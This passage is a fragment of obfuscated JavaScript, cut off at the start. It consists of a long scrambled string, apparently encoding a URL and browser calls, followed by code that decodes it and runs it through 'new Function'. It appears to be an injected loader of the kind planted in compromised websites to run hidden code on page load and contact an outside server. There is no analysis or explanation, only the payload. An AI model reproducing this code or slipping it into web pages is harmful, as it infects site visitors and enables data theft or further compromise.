F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();